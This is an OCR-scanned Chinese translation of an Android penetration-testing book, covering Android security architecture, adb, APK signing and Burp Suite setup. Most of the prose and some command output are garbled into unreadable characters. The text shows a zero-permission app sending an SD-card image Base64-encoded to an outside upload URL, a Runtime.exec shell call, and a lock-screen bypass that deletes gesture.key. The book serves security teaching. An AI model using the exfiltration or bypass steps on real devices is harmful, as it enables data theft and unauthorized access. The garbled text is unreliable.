Learning Pentesting
for Android Devices

A practical guide to learning penetration testing for Android
devices and applications

Foreword by Elad Shapira, Mobile Secunity Researcher
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B FAHRER > 4o LG =2 > kA HTC # 245 o Android 895 SR A F 51 AT % % 37t

& » #l4= Google Bouncer ## Google App Verifier o &A1 & A& — N2 €A1 o

4o R &ZA1A A Android 89 R# > w TR T > BRIVEF R CE S AQONTEGE o £ EHK
T Linux A% 0 B LIS BCR A S IRBL T RAF AT MAE o Linux A A LA 5 T A A4
MR T > AL 84 K% 5k zh42 )5 o skt o B R 7t Android P A A K % b
fit o @ T Android 2T Linux ¥4 » B&i& AKX AR 5 T4 Android #182] L46-F & F= R
# o Android TR T — M EE 0 B XA R £ Android F & A Fe A 28 B 4 64 AR
I ) R AR T o

£ Linux A ER—ANER > 05— 2R EEZf ARG E » w TH &

Surface Manager : &2 % 240 B BARER © & AR A B4 26 4 A2 K kA& 5018
F B 8944k SQLite @ X A — /4532469 SQL MR A 0 AT 44 A& % 32 WebKit : X &3] %78
F51% OpenGL : I TAM R LEH LT 2D 4= 3D A%

VAT &% B Android 7 & A i M 358 Android $49 89 B W & = :
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Android #& A Fr A 14E A 69 Linux RAZE 2] Z A4 T -
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AR —AAZ > K Android 4.4 BRATE » BH B —ANEBATE AR A Android E4T I —ART)-
A P Tl DVM #= ART E47 0 R Z 0 B @ brde o

Ko TR APH » K419 R X & Dalvik EBMALER o € RMT Java Bl (JVM) » %
TATHFLEEOHENE  MAAATHEANER - Rt BHGESAZARFAGE LA TH
Dalvik E MM LB TE4T o Rk » wRENEFTZATR G2 ARE » A =T F 6% B
Fl e M REGETEL B CAHAR ARFUNE—NEPIRFERET SRR BEZE
BERBEZAENIRA - DM IR E &R GHEM X MR L5 4% o

Dalvik & #AAIMAT—/N 8 A .dex K Dalvik T HAT U THE R o HI1KE#—F &
A odex XHBR > AU ETEGZF PHITON o ILALRNUES adb #ITREL > H &
FEAXSH Android E &R LKA %M o

1.2 ZA T # Android

4o F AR A Android & & 2, E £ iE 4T Android B2 34 & 0 M 7T »A4% Al Android SDK A& 2 4te) T B
(#4 adb) o &HMFLEH —F1E @it adb o & > HA19F R K E SDK» £ 2 £ &4
T o
—B g &l USB %4 0 RN TRERNG L P A adb XK L TAHEHE XS T 5
P&k o HHRGOEREGIZEFT RS AT USB ARG -

$ adb devices

List of devices attached
emulator-5554 device

T 8T AR

R 3T VA http://waw.packtpub.com T ZEHARMIK P & ¥ £ 69 7 A Packt B 35 89 7= 4] 4K A5 ST
PE o do RARAE H A7 W X 3k 4 0 W T VL35 1] http://www. packtpub.com/support FF At
VAdE ST B R A AR o

A > e BATZATAT W, > Android & & T Linux R 4%89 » BTvA K % #% Linux 44~ Android £
AT LA it adb shell 7 £3E47 o adb shell A HR4R4E 5% &8 shell BERXE > RTAE L P
PAT G ST PATIRE LB S RGP B AENIZ S o A THAT shell » R FZHENAT 44

adb shell.

—E &A1 shell F > RATTAEAT ps AT FI B EAETHRA
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PID PPID WSIZE RSS WCHAN PC HAME
] 364 28 c@d77dcd 0dBR9Bcc 5 Sinit
c@d9815c 090008 5 kthreodd
cd@Toeec OODO0D08 5 ksoftirgd/@
clBoeacd DPOABDEE 5 wotchdogs @
cOREcZl4 OQDQ0D0Q 5 events/@

19682 1384 135620 15020 FFFFFFFF FFFFA520 5 com.sec.android.providers.drm

1977@ 1384 146072 23376 FFFFFFFF afd@cSbc 5 com.whatsopp

19788 1304 138720 20488 FFFFFFFF ofd@cSbc 5 com.wssyncmldm

19887 1384 135888 16748 fFFFFFFF ofddcSbec 5
5

19816 1384 157876 23580 FFFFFFFF ofdBcSbe

com,sec.android.widgetapp . dualclock

com.google.ondroid.opps.maps:Googlelocat

B fRPTIL > ps HF]H B ATE Android AL T EATH A B o wRIFmE » F—FIHET

APt EXEXMNTAER SR P L > 4o system * root ° radio #2— A 7| VA app_ 7
KGR P L o EhlR TR TAEFIE > VA system LREFGAL G ALIAA > root EFAR
BAZEAT 0 radio ARG WIEMEL WA KGR > app. BBEA P CTRGFTARLARS
ZR AR R E EF LS ATE£EST o Bt 0484E Linux PRAPHAE T S ERE AL
byefe— R P —# o /£ Android ¥ » Rl P AR IR T £ B TEGIRIL P BATEY 2 B /AR o

B vA » Android %A B A 8947852 Linux A9 & o AKX /& Android & & % B # # & A 425
B AL omE—RA P ID (UD) » ZAFP IDHIELETEXREIMET T LA -

5 Linux £ » RAEG 40P =2 4| AL T /system/bin #7 /system /xbin ° kb > &
1K Play 8 J& SAEAT Ak IR 2 K 69 2 A A2 )57 BB 44T /datasdata > d FLJR 4622 % U
(BP .apk ) & Bk /datasapp © Lo BA—REAEEFEEZMPlay BEWX » @ FE
AAERFTHR o I ALFIG AL /data/app-private/ °

Android % & (APK) & Android = A5 RKAYT EL » CRE—NEBHF > 48R
PO LE I L o KNESDYZTF PRBET apk XHHITHEGIA o

A > 1L EAVIF P /datasdata * AAE@MANTL o REFREZN—E L ATEEEZ XS
E, s 5&EF root HFELAMLT su £ :

# cd /data/data

# 1s
com.aditya.facebookapp
com.aditya.spinnermenu
com.aditya.zeropermission
com.afe.socketapp
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.calendar
com.android.camera
com.android.certinstaller
com.android.classic
com.android.contacts
com.android.customlocale2
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FTvA » BATTVALIX ZAH %] > Bl4e > com.aditya.facebookapp * &% M55 AALF LA £ o
M RTRABIENTZEAR LS TR LR » @ RAF LG AR LR

42 FacebookApp X CameraApp ° Bt > XEXH L LM EENSE AR FHREOLAER - K
PO LARE R AT Play B )& fik & EARREGE—AZ R o Blde » TREA L B A 48 F 4 AR
S At AR THHEERA o Bt ATz R ARG » A ELHRHERTL
W HLEL ) AR o

o REBNHANAET R ARF XL » B2 ABI AR T XL > Blde T ( files ) * %
%% ( databases ) #2% & ( cache ) * WHEHRMNK £ F 3 £ GF= F 1+ Android & A 42
ey

shell@android:/data/data/de.trier.infsec.koch.droidsheep # 1s
cache

databases

files

1lib

shell@android:/data/data/de.trier.infsec.koch.droidsheep #

REFR2EEZN—NTE2YNFEELT wRFICLE root » KA VAE BT A& %P 894547 T
# o 3% &R I root FoRE BT T AR AT F AR AR & 0 X ESRAE RN TUE B UA
15 PR AEAT KA A8 B8 SUAF o

B L6 2 AR 2 — K % JAAAF) 09 4 X482 &, pin 4 > ¥ KIKAF £ T T A Android
FHL o MR AA T 5 9] settings | Security | Screen Lock RELE B TG R o

— B EARE T B XA XA 0 KAV AF %L B FhG USB HEF KNG AL o I
JE o SRAL A B R AR RAE XA 89 BE X B IE VAL AR password.key 2, gesture.key #FfE

JE /data/system ° EF 0 WwRBEWEHE 0 L USB ARMKATH  REFZ—-NBA LI F
I BALF RATHH USB AR o EAZAELHT AHHIEE - 7 MA X Android 19 £ 512
B » 1% % K] Thomas Cannon Digging # Defcon # 7~ °

B AR BAERNG B st s FHFELEERN (RNBEA B wTAELREE) » RNKH
% Mgk 42 5 M PR S 0 SR ERATF AP M AR X AR

shell@android:/data # cd /data/system
shell@android:/data/system # rm gesture.key

BTk s AT LA 2] » —EF MK root » JUFAEAT R B4R T AR A FH4L ~ —HRUSB &40 F2 —
NAGRAR o BINBERAPNEEETFYPE ST AAT USB &A1 A o
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UID = 1234 UID = 9876

Files, Databases, Files, Databases,
Cache, Other data Cache, Other data

App 1 App 2
com.attify.abc com.xyz.def

4o A] B T Ao B8] @ BT d 8 69 0 Android 894 AN A2 5 AR £ 3 B T 89 Dalvik & AL SE ]
BAT o BRLAAM Z > RWATIAEAT 2 AL 5 £ ZATEI R & F A3 > €RZ BT BH K H R
FRBR o A2 A A REERA BT o b BT HEMEARFAREL A TH LG T2
170 FSbIRIEA TR F FANT - T MK K ETF P pe s FA2 5 69 338 o

Android 1% A ek F AR R » X E R AR ERIFRER LT OZ 0 LR o

RbMEZE] > RN Play 85 RAEMERBR TR ARLFN » ELAREIRT EF—
MR  CRMTATRRZBA :
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Application info

Permissions

SUAC TR R R ARG ST AR FABAT T AAE S 895 % > Blhe RZBAZ > 7RI LK
Aoip R Gk o EHRS THEORRIE L ARERA S EREELGERERI I B4R o

Android f’)ﬂﬁiﬁ'ﬂ‘ﬂi/\m SR AR AL R B £ 4 A AndroidManifest.xml 89 S 455
PTA R ALTR o S UHH 88 & fb AL 540 %15 BB 7 & > Bl dm AT 5 BT 35 69 AR
Android B A » 25 bZﬁ’éwﬂi(&WﬁfTL%&W&T?%ﬁ@>’w%(ﬁmﬁ
FiE6#AR) » iRk e WwREABRFFLAR KA Androidvanifest.xml XA F 45T
AR A AT PR M AARFEAHF > AR P BITEN LT BH KW

B o
— A EF ) AndroidManifest.xml XA ARG T @OBE & o £RXE > T 4L

5| <uses-permission> %‘Laﬁ‘?—}if@}fa’ﬂﬂﬁﬁﬁﬁﬁ 8RR ATR

<7/¥ml version="1.8" encoding="utf-8"7>
amanifest xmlns:android="http: /s schemas.android. com’apk/res/android"
package="com. aditya. something"
android:versionCode="1"
android:versionName="1.8" >
<uses-permission android:name="android.permission. ACCESS_WIFI_STATE" /
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />

4o BT BT » BT A Android R AR FEZEE B REHRA L, R—1—UID - EAL T
UID 89T A A P AR B T4 € 40 » BRI R T A1 ROGATR o )40 » —/M2iE K Internet A
M8 p R A2 )5 0% B T inet 248 > B4 Android ¥ # Internet AURAZ T inet AT ©
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AP (EZ#HFEATHORARSE) TAET S A > BARB R THA1ERGRIR o KF 4
ER o AP TAETSAE  FAFENATUAEASARP o IEBARTHA

ID (GID) T X#—LAr o K o FFRAR T ARG & LA n A2 55 FH— 448 R
89 UID Ti&47 o &M EET » L Pyt Rae H platform.xml i vl

T /system/etc/permissions/

shell@grouper:/system/etc/permissions $ cat platform.xml
<permissions>

<l-- -->

<!-- The following tags are associating low-level group IDs with
permission names. By specifying such a mapping, you are saying
that any application process granted the given permission will
also be running with the given group ID attached to its process,
so it can perform any filesystem (read, write, execute) operations
allowed for that group. -->

<permission name="android.permission.BLUETOOTH" >
<group gid="net_bt" />

</permission>

<permission name="android.permission.INTERNET" >
<group gid="inet" />

</permission>

<permission name="android.permission.CAMERA" >
<group gid="camera" />

</permission>

. [Some of the data has been stripped from here in order to shorten the output an
d make it readable]

</permissions>

b 0 FEKR T 2t £ Android 2 & BT AR AR TGRS dT AR AEFEES
WHERRE > AL Dalvik B AT 24T 0 BbE RV 7 A ¥ IR AR A o

A > SRAGBRAVE AT @5 A B8 > AR L B8 & B

I location/data/data/[package name] ° WA f)‘ﬁ%ﬁm%’-ﬁ”ﬁﬁ‘ﬁ(]ﬁﬁﬁi4¢%&ﬁﬁ*ﬂ F]
B9 P ID > & A A, Android Z42 R 69 2Rk o ARE UID Ao THFARIR » B RAI kB BA RF
UID & 34l mz A A2 5 2t € 69 17 9] Fo 6 2 o

£ T @R 7B P 2 ret 8214 Baseb4 15N 4mAL G %6 SD e B % - A EE4E
Ra) %8R sk E4E 3] attify.com Msk o B 89 R ZRIB| —F 7 X k£ AT FE A9 Android 2t
R Z A #ATIEAT o

VKGR E— AL RGHE% > /£ Basebd P4 R 6N EGMAE—NTH S

“P imageString



final File file = new File("/mnt/sdcard/profile.jpg");
Uri uri = Uri.fromFile(file);
ContentResolver cr = getContentResolver();
Bitmap bMap=null;
try {

InputStream is = cr.openInputStream(uri);

bMap = BitmapFactory.decodeStream(is);

if (is != null) {

is.close();

} catch (Exception e) {
Log.e("Error reading file", e.toString());

}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
bMap.compress(Bitmap.CompressFormat . JPEG, , baos);

byte[] b = baos.toByteArray();
String imageString = Base64.encodeToString(b,Base64.DEFAULT);

WE o RABR R K BB HIELEINENGRES > KINA—A php THMITEAN K
¥

startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u="+im
agesString)));

BB TAPATGF A A UAR G 7 NGk R AR ZRREE - 22 REFEEENH—
& shell %4 & R A2 569 P T84T

String str = "cat /proc/version";
process = Runtime.getRuntime().exec(str);

RAE—AHBRGILE » AL FZETUES /R E shell (XA —MNEE ] AL e E
o TURATHATTS) » IR ERAEMEBGRIR o

1.4 2 24 O

KA )F A4 & Android M BN Z — T EAXBRAREARER » BT T R -
Play @/ P AR L —BZARA o £ Android T » 44T AAR T ¥4 i T # Android SDK 4] #
Android 22 » RE¥ L XA E Play /s o M FARMAEUGERZELIA o —NETHEFR
TWERMEMNM (CA) 226 F—ARAZLIED o XA PHIEHBMEIY (CA) » @A
EARTABEATHIER AR RARLTEL o

’E Apple éﬁ iOS ﬁm%ﬁﬁ#ﬁﬂ?ﬂ‘yx;ﬁﬁj CA 7—}/‘& N ;Q:_c‘:ﬂ_i;g_'t/{%élj App Store é{]-g:/l\ﬂi
}ﬂﬁiﬁz’%ﬁéfli/%'iﬁ s REWH Apple éﬁ'iﬂi—‘h%@,‘é o —EBTHIELE 7&%"’%3")’L‘Eﬁ}ﬂ$§f—?%§
W Apple 89 CA 2% » KRB & A A7 E4T
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{2 % » £ Android T 248K E) o BAEFHMAIM; AT ARG B QIZEHTAEE R
B o AR AR RE £ W Google Bouncer # /T8 1E » X —ANEPIRE - AT
ERABRFLEGCALEEREGEN - hEZRE » RAKESILTAE Play BE T o £ZXMFIL

T » Google R &t % AR F#ITEL o XA R T AL A Android SDK Ft 4 89 T B (#r
# keytool ) QI B THyEF » RFH 1A Eclipse 9 GUI &1 i F o

Ak > f£ Android F » —EA XA RERCIZGIESEL TR AT tbFZHIEHGE
AREAZAANILE » VAB L LA 5 AR 254 A8 F A R AR 89E 4 & & L b s F AL 5

o

4o R EA1H — A Android & ARG ( wk>i#’&Mﬁm%éﬁmﬁé%ﬁz’%&ﬁ&
FARA jarsigner 89 TR ZE g FARF A » XL EZ Android SDK B 4 89 :

$ jarsigner -verify -certs -verbose testing.apk

AT AP EigdT Eibar & RBEL 0912 R0/ HB A ¢

Ivaoupta &
jarsigner -verify -certs -verbose testing.apk

5m 652 Sat Nov 16 @6:23:16 GMT+@5:30 20813 res/layout/activity_main.xml

X.589, (N=Aditya Gupta, OU=Attify, O=Attify India, L=Mumbai, 5T=Maharastra, C=IN
[certificate is valid from 11/16/13 6:23 AM to 11/18/38 6:23 AM]

LI o BBEYE apk XG0 T AT META-INF AR & P B BEG cerT.RSA LA ASCII A
Ko ARBEL » A TH4 B«

$ unzip testing.apk

$ cd META-INF

$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer
$ cat out.cer

XA e M Fo T R 4m 69 Android .apk THIEJEFA M o Hb o KATTUERA CRFEZEA
VAR B 1% miz B o

1.5 Android & 3 242

£ Android q’%ﬁ%’f“ﬁﬁﬁ%%?%i*% Android B #h 42 o G| I AMNF] G e
BT CoRT KRB FH init LA - ﬁ%"/\fﬂ)"éﬁ 2 o

BTVA » AR 5] S B A2F 89 Tk » RE W RENWB S —A > LR KINE LT S
o BMNERETUAERERE EmBOANE o 5l GmBRFRAE IR TREHY » HA4
R HAA A TG BURANG 5] FRBARF o BF > RINVHERLT > by B LA E 5] S m 8
BERER > CRARBREFRTOEENLE RS EET A TH A TH ROM R 2
Android % & * FEZMH ] S BT o B FheBRFOIRTRALZERF o £L8
T > ST 8848 1% & 8 1R15 K3 o
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E
f£ Nexus 7 F » ©atigie 44547+ 8 fastboot TE—HME » W TH & :

$ fastboot oem unlock

EHERZET > THREZESZHS o BANAFITEZ A 6 Bootloader H £ AP b9 jG 4%
T pAERAE

DE B AL £ FWBEFEAALIFEF init LG bﬂ}iﬁl? Andr0|d AREITITE
Bg— R FZE K Hlde /dev ° /sys A7 /proc © IN s dnit MELE

#F init.rc #7 init.[device-name].rc TR A THY B E » 2 L& IF //"I'J—F}}Ji’];#ﬁ Bl 4z &

B9 .sh UHFRELE TH)RE

shell@android:/ % 1s -1 | grep "init'

—-rwxXr=x—— root root 182928 1970-81-81 @5:30 init

—rwWXr=x-—— root root 95@ 1978-21-P1 @5:3@ init.clrdex.sh
—rwxXr-x-—- root root 2787 1970-81-@1 85:30 init.goldfish.rc
—-rwXr-x-—— root root 16758 1970-91-81 85:3@ init.rc
—-rwxXr=x——— root root 19144 19786-01-81 05:30 init.semc.rc

- WX r=%X--— root root 3219 19780-01-01 @5:30 init.usbmode.sh
shellgandroid:/ $ |

1o R EAT init.rc XHFHAT cat » BATTAEF init he# A FEAE RGP ANL > =T
& 69 A% B AT R

shell@android:/ # cat init.rc

on early-init
# Set init and its forked children's oom_adj.
write /proc/1/oom_adj -16

start ueventd

# create mountpoints
mkdir /mnt @775 root system

on init
sysclktz @
loglevel 3

# setup the global environment
export PATH /sbin:/vendor/bin:/system/sbin:/system/bin: /4
export LD_LIBRARY_PATH /vendor/lib:/system/lib:/lib:/usr/
export ANDROID_BOOTLOGO 1
export ANDROID_ROOT /system
export ANDROID_ASSETS /system/app
export ANDROID_DATA /data
export ASEC_MOUNTPOINT /mnt/asec
export LOOP_MOUNTPOINT /mnt/obb




init #AYFIEL B FHREML T EM > B4 i & ADB i#{zF £ F# %5 (vold) # adb
F##)5 (adbd) °

Je B A% R 69 — 2 B MAL T build.prop * BALT location/system ° % 4%47 Android % % Lt
# %] Android logo B » TR T init #AR R o Ee RN AETEORE P TAEEE
HAB AL build.prop XA R KL & 69 BLIR1Z 8 ¢

shell@android:/system # cat build.prop

##44# Merging of the /util/data/semc_kernel_time_stamp.prop file #i#s
ro.build.date=Fri Oct 5 @1:14:38 2012

ro.build.date.utc=1349367278

ro.build.user=BuildUser

ro.build. host=BuildHost

##### Final patch of properties #####
ro.build.product=LT26i
ro.build.description=LT26i-user 4.9.4 6.1.A.2.55 yPd_zw test-keys

ro.product.brand=5EMC
ro.product.name=LT26i_1257-6758
ro.product.device=LT26i
ro.build.tags=release-keys
ro.build. fingerprint=SEMC/LT26i_1257-6758/LT261i:4.0.4/6.1.A.2.55/yPd_zw

R AR R AR Customized property values #FS#ER##HR

ro.semc.version.cust=1257-6758
ro.semc.version.cust_revision=R5G

TR R R AR G R R AR R AR AR R B R R R AR AR R AR R AR AR

ro.config.ringtone=xperia.ogg
ro.config.notification_sound=notification.ogg
ro.config.alarm_alert=alarm.ogg
ro.semc.content.number=PA4

—SH A RBE R 0 init RE KB —AMRA Zygote éﬁ A2 0 0T AR R e B
Dalvik B Fe L FE » Kl EANA ARG B RE o b LBt LFHEAR »
VAR b B0t B s # % DVM o X & %1% % A% Android ﬂ-#mﬁ]ﬂ:ﬂff 8y o

874 R Zygote kA B Tt B #H AL o ik L fbib B8 Android A 0 deiEHH B
B —B R MENGEA 0 AL K% BooT _coMPLETED B9 4% 0 % & A AL 5 7T fedds AR A
I ¥ S 89 Android B2 A AR P Ak R B o B RATE S 3 F4¥ @A F 1+ Android £ A
F

o)

2R o L E R AR BB A —F TR FEKS o
=
ANNIE G = 4

EAEF > RANA% T AndroidHEMRZE L T Ak o KA1E T A Android 89 AR &4 A HE
/i\. 4—\%«a#17 °



EBTRGFF P » KAVHEEZ—/ Android FEMR LR F » 12 X LR IATE $ 8
HARES > k%% Android E&F R AR - &MNTETHAXADB I E 5128 HEA®
R EF SR E T L -



HoF ARG LIRS

£ : Aditya Gupta
EH A
L 1 CC BY-NC-SA 4.0

fL—FF BT AT Android X &M R IR ARG Kakdeit o EAE T > KA1 T M7
%o 32 52 Android 3% WX 2 3 IRIE 0 H F 6,45 T 2B & Android SDK ## Eclipse ° #.1]
HKRAT AR ADB » H T fdefT 4] 242 Be B Android E &% (AVD) -

2.1 AR IR

A T ## Android £ R 427 X A1 Android B & 0 KA1 E BB E A LINF > AEETR
m AR o At BNERMHE—HFLTH Java L LEE (IDK) » P&l
Java E478 313 (JRE)

1. AT THIDK > &MNF £
%] http://www.oracle.com/technetwork/java/javase/downloads/index.html * FFHRIE &KATPT
E8FETHRIDKT ©

HETREHBITTROTHATIMF—FRL o EXATHEBREAF » RTUF R K A
%X T Java :

IS Piogie

- 0 “

OoRACLE

Status: Extracting Installer

2. —BEERMNTHEHARZET DK EMNEFZLERNY AL L REIRETE > AR T LUAEAT
42 AT Java °

2t F Windows Al P » BA1E £ A4 % FH My computer (RO LE) Biz RiEik
1% properties (/&ME) #IM


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

3. BTk RMNFEAMILAFI] & F k4% advanced system settings (BB ALELE)

B

Performance

User Profiles

System Properties

Desltop settings related to your sign-n

Startup and Recovery

oK

System startup, system failure, and debugging information

Environment Variables...

Cancel

Computer Name Hardware. Advanced | System Protection hemnte.

“You must be logged on as an Administrator to make most of these changes.

Wisual effects, processor scheduling, memarny usage, and virtual memony

Settings...

Settings...

Settings...

4, — B EATH#ANT system Properties

%] Environment variables. ..

B0 B AATEREAE > £ system variables

(A4 M) st15E » £ T A » KINTAE
(BT F) %o SHRANEFT RMNTRAES 5 —4

(RATE) 4T :

System variables

Variable Value 5y
05 Windows_MNT
C:\Windows\system32;C: \Windows; C:\...
PATHENT .COM; .EXE; .BAT;.CMD; . VBS; . VBE;. 15:. ...
PROCESSOR_A... x86 b
Mew... Edit...

Delete

5. E#H BB EETF 0 KA1F R E &K variables (
Java & ¥ U £ 693842

w2
X =E

) T paTH X ARAE » FH4EA



Edit System Variable

Variable name: Path

Variable value: Yw1.0%C:\Program Files\Javaljdk1.5.0%bin}

Ok Cancel

2t Mac OS X » &A1E £ %% /.vash_profile X » HI% Java 693428 m%| pathH &

\=4

- O

:zA

RS

pod

£ Linux LB P » K1 FEE %4 . /bashrc XM T 47 o

$ nano ~/.bashrc
$ export JAVA HOME="/usr/libexec/java_home -v 1.6 or export JAVA HOME="/usr/libex
ec/java_home -v 1.7°

RIET VARG INLSHEBITU T4k E Java £ G L EHL EffE

$ java --version

. —ERMNTENRET Java 9T E » KNFEZMTOT—F AT
# http://developer.android.com/sdk/index.html T 4%4t49 Android ADT &

ADT &% Android Al R & 69— AN T %656, » 4R E T ADT 464 » Android SDK T~
£ > Android F & T & » & #74) Android - & 4231 % 69 Android A& 4Bk 1% 49 Eclipse °
BERKEAT T #4212 A Android SDK & & Eclipse 89 & AE42 » A ARLG—
AT LEELTT o

. —EEAMTHT ADT & > RATTAM@EE » 47 7F Eclipse XH % o

. BhE s ADT 845 2 K& 8 E Eclipse 89 TR ° workspace (IZAEERH) ZHTAH
Android & #2577+ R B R E SRR A i 0942 B o A RAEILT 0 RCHHA AR
YWEIN > &P use this as the default and do not ask me again (4% J b4 ZKIAAE >
FHFIKR) BBIE



~

E

W Workspace Launcher EX

Select a workspace

ADT stores your projects in a folder called a workspace.
Choose a workspace folder to use for this session.

Workspace: v|| Browse.

[ ] Use this as the default and do not sk again

oK Cancel

—B Z AR F  RATT AL %412 Android & #41% % o Android & 3% & & B & T 4%
&H&i\é’a Andr0|d AR BB E o BEPE A5 Android SDK K 4 6, —Ae 32 4 69 JF 3%
oA e s FRARTUREFEFTREH ARG » F50MNELFREEEHTR
P S’TT&%‘ Android % 12473 A 4841 2 Android &2 B #2589 7 & H AR A o

REREFZG—ANAABGFEMEL > £ Android F > BB EITE ARM L > B BTA 69 F 1
H5EEREFAME o Ko £ i0S F o KAV INE R ZRPINE > H RINA FTH 48 F 4
TG o

2.2 &7 Android & L% &

A T el ZAndroid & % & » KA1 EH ZWATATIRE :

. 1% 1] Eclipse 8 T34 » K5 & & Android Bz 69X & Bz o ZH4T A — A9

#) Android Virtual Device Manager (Android B Z&EEE) o AP a4 ARE

PEEH I & o BRE—ANMRIFHEF > BE A E new (FE) 842 QIE—NHHEM
wE o

RAVIE T VA8 N34 2 4T android 417 ] T B » KRG &2 AVD %k 2 % Android &
PEE o XFH %U’I]EJ-VX 452 AVD & AR » £ AEILE -avd [avd-name] T4 kB
B 4F P E o

R A—A#HEo» AP 845 F 24 Android B & B EGITA BE (% K46
) o RIMBEBEA & ﬁ’@T@%&@%m.



AVD Name: | AttifyAVD

Device; | Mexus 4 (4.7", 768 = 1280 xhdpi)

Target: iﬁmdmid 4.4 - APl Level 19

CPU/ABL ARM {armeabi-v7a)

Keyboard: Hardware keyboard present
Skin: Display a skin with hardware controls

Front Camera: | Mone

Back Camera: I Mone

Internal Storage: | 200 ||M'rE v|

5D Card:

®Size: |30 M v

i File: Browse...

Emulation Options: [ Snapshot []Use Host GPU

| Override the existing AVD with the same name

—2 KT AEK ok FEREE AVD FHEEEF 0 > KRAVEAE B RANF A 2465 AVD o

\2a)

LA > AFBFEHG AVD > R E+ start... () kB HRMNEIZGEIRE -

CTHREZRKEE » RARGFE—REA o8 > B A € B[ BEFTA 69 R4 Fe A B
B o RARAE 6 BIEAL AR o

EAREET » AT FTHAEIEENEFHETE > %P snapshot B RAEH A — T4
W

— TR & s BAVIAE T A5 B EN AR T H 0 18 A android 444 &% & B
o BB XA TRETFH /sdk/tools X £ T8 adt-bundle XL F -

ML EZEAET sdk XHF LT tools #7 platform-tools LA XML E » shp &A1
AL R IR T E—H o

ATRBEMNALF CEE (Swf) 97 EGF@EER L > TRBTATHS

21



android list avd

ENETEGFERBBPTUAED > L@ GgSmE S~ TRNALPHANLA
Android & #01% & 69 7 & :

Yadt-bundle-windows-x8
id list awvd

\.android\avd\AttifyAVD.avd

(APT lewel 19)

9. &AM AN44 > 428 ADB 2 Android Debug Bridge Fr 41 A% & » &AM £ L—%F
CAFF o KAVZ T AL 455 F AT emulator -avd [avdname] 4R BITH I B

2.3 HFH M % A

A > LA F @ T M — %A A8 Android %% X 52l T A& » 4= Android Debug Bridge °
Burp Suite 7= APKTool °

Android Debug Bridge

Android Debug Bridge £ — /% P i - IR % 35 » RV P 5B B R 49 Android

REXE o COAEEP W (EAKLET) > 9\52 FHR% S (LEAKLET) ARHK
ABERABREBENEFRE L EEFOFIPEST o B8 AT ADB @13 89 FKiksw o B & =&
5037 » & %1% ]l Mk 5555 %| 5585 &5m 0 o

L TEMESCE T

qn

TEEATY L » WL IEAT adb devices FTAFBEGEFHOBEMBERLEL o ©F
HFEiTVARE S| ADB :

C:\Users\adiox90\Downloads\adt-bundle\sdk\platform-tools>adb devices
List of devices attached
emulator-5554 device

EEEERT » BRI R A RN R S L R T AL PSR E o R
AT BNEEEHEHADBIRSE > ARMEE > REBKRHE :

C:\Users\adiox90\Downloads\adt-bundle\sdk\platform-tools>adb kill-server

:\Users\adiox90\Downloads\adt-bundle\sdk\platform-tools>adb start-server
daemon not running. starting it now on port 5037 *
* daemon started successfully *

* O



BNZETAER pn (AFES) TARRITACLZEOREEYI & > XTAE ADB 1
J o

adb shell pm list packages

o T @R RBEI T RINBRFEE ELRGPTA R G0 R » TG R TR
SHR

bundle-windo vadt-bundle
db shell pm list pack:

.inpu
.ph

b 0 RAVTVAE A dumpsys meminfo AJG A& adb shell 474> » JRIATAH AR AL S ATA
VRS EESEIE 3

1d

1ﬁitlﬂﬂid 1.
ild (pid 52

HAVZET VLRI logecat (X A—A1EH Android R &FHBEHITE) » A B LKRAEINHEHL
A o T A S5 AT

adb logcat -d -f /data/local/logcats.log



AH AR R AR 0t AR S A TR A A AT
FP oo 3X T &A14E M /dataslocal 1L E » MR AAEFTEAALE » AARXIAMLE L K S $x&F
RT5H -

EANZETMER df F 4k EFRAAART R EZRf K]

[

=
i
3
!

4£ Android SDK & & % — /MEAR 69 TR » #£ 4 MonkeyRunner » 3t T E A T & sh{tFe X
Android 2 A7 » £ESEARFRE o Hlde» A T 10 A8 A Lmkdt » SEfFHk
WXz R A2 0 BATT VAL adb shell F4E M monkey 10 @74

root@generic:/ # monkey 10

monkey 10

Events injected: 10

## Network stats: elapsed time=9043ms (Oms mobile, Oms wifi, 9043ms not connected)

— & A T B Fedr b > AT VAL ADB FAE A €41 o BT AWK BT R L LM

P
W kARG TR o

Burp Suite

EMNBABETROZTF PREAOREZG T A —5& Burp RE o KATHK¥AEA € RERA S
WRERE o RARFFHFSERERATAAIEBRSHIERTFEFALIL o AUAT IR
AT SLARAE

ﬁﬂ‘]%ﬁ&"”iﬂﬂﬁ& http'//portswigger net/burp/download.html ’Fﬁ burp R¥E o T #
HRKE  REZITF Burp B2 > Ee A THRBRBTT o RETUME AT 4%
X Burp :

java -jar burp-suite.jar

EMETEOEBAFTAEE » ENEITT Burp F 27 T KIS D :



X~

%% EETRINE

Burp rireder Hepesler Vindow  Helg

Target | Prowy | Somser | Scanser | wareter | Repesier | Seqsencer | Ducoer | comparer | opmons | e |

Filar. Hiding not found Bama; hiding C55, mage snd gesernal bnary costest. hiding dorx respansss biding ampty fokdamn ,L:
Heat | Nethod | URL | PFermmes | Sisius & | Length | MIME fype m
[ = T
E.ml Aaganss |
faw Hax

T

1 3 ralches

2. 72 Burp Suite TR ¥ » FA1F BB L E &K proxy (AKRHE) ®A-FH7 7 options (&
M) ®AF kB EXKEXE o

3. /& options ®AFF » AT IAE B KA RAMKE T » TR 127.0.0.1:8080 ° X ERE
INEATE R Ysm O gese K iZPTAH A EN d Burp Suite EBFALEECHE IR T -

4, ENTFH AL HBFRIAKIE 127.0.0.1:8080 F £+ Edit (%) REERBRONKRER

Iﬁ‘l: o

5. # Tk » &A1FE£5 ¥ Request handling (THRKKHE) ®AF > Hik
“F’ Support invisible proxying (enable only if needed) (i%;ﬁﬂ‘)@ﬁ.fﬁ (1’7\1‘5— &t
BR) ) R#AE

Binding Rag.l&s.ttﬂmﬁrg] Certificate ]

EJ These =settings control whether Burp redirects reguests received by this listener.

Redirect to host; |

Redirect to port: |

[] Force use of 55L

Inwisible proxy support allows non-proxy-aware clients to connect directhy to the listener.

[ Support invisible proxying (enable only if needed)

6. W)z » HA1EA invisible & EATRIE :

25



¥ Burp Preoy uses lBleners 1o receine incoming HTTP requests. from your browser. You wil need 1o configure your browser o uss one of the Estanar

Add Running interface Invisibie Rediract Cartifazate
4] 127.0.001:53050 ) Per-hoat

Edit

Remove

